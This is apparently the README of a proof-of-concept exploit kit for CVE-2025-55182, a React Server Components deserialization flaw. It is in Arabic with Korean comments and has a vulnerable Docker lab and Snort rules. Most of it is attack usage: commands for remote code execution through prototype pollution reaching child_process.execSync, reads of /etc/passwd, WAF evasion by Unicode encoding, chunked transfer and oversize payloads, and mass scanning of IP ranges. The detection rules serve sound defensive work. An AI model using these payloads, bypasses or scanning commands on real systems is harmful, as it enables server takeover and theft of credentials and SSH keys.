
CVE-2025-55182-POC
مجموعة أدوات لاستغلال واكتشاف ثغرة إلغاء التسلسل غير الآمن (Unsafe Deserialization) في React Server Components (RSC)
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - كود Server Action الهشexploit_advanced.py - يدعم تقنيات هجوم متعددة (Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py - أداة تشخيص الثغرات متعددة الأهدافrules_priority_based - مجموعة قواعد كشف مبنية على الأولوية في Snortcd vulnerable-app
docker-compose up -d
# http://localhost:3000 접속 확인
# 단일 URL 테스트
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# 여러 URL 배치 스캔
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP 범위 스캔
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# 파일에서 읽기
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# 고급 공격 (프로토타입 체인 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF 우회 - Unicode 인코딩
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF 우회 - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF 우회 - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# 모든 기법 순차 시도
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# 공격 트래픽 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none
إرسال حمولة RSC Flight مباشرة
# Server Action 직접 호출
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
RCE باستخدام تلوث النموذج الأولي (Prototype Pollution)
// 핵심 원리
{
"then": "$1:__proto__:then", // Chunk.prototype.then 트리거
"_response": { // fake response 주입
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Function 생성자 접근
}
سلسلة الهجوم:
Chunk.prototype.then عبر تلوث __proto___response$B باستدعاء response._formData.get(id)constructor:constructorprocess.mainModule.require('child_process').execSync(cmd)توزيع الأنماط باستخدام Transfer-Encoding
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
تجاوز حد الحجم في AWS WAF
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 처음 8KB만 검사
# 실제 공격 코드를 8KB 이후에 배치
process.mainModule.require + child_process + execSync__proto__ + resolved_model + وحدة RCE/etc/passwd و /etc/shadow و .ssh/id_rsarequests
pip install requests
# 단일 URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# 복수 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP 범위 스캔 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP 범위 스캔 (하이픈)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# 파일 입력/출력
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose 모드
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout
--basic: إرسال حمولة RSC Flight مباشرة--advanced: تقنية سلسلة النموذج الأولي + thenable--chunked: إرسال مجزأ عبر Transfer-Encoding--oversize <size>: حمولة Oversize (الافتراضي: 65536 بايت)--all: محاولة جميع التقنيات بالتتابع--waf-bypass: ترميز Unicode (constructor → \u0063onstructor)--chunked: توزيع الأنماط--oversize: تجاوز حد الحجم في AWS WAF-v, --verbose: إخراج تفصيلي-t, --timeout: مهلة الطلب (الافتراضي: 10 ثوانٍ)experimentalrules_priority_based)__proto__process.mainModule.require# Snort 실시간 모니터링
snort -c snort.conf -i eth0 -A console
# 로그 파일 분석
snort -c snort.conf -r network.pcap -A fast
لا يُستخدم هذا المنشور إلا لأغراض البحث/التعليم/التحقق التشخيصي.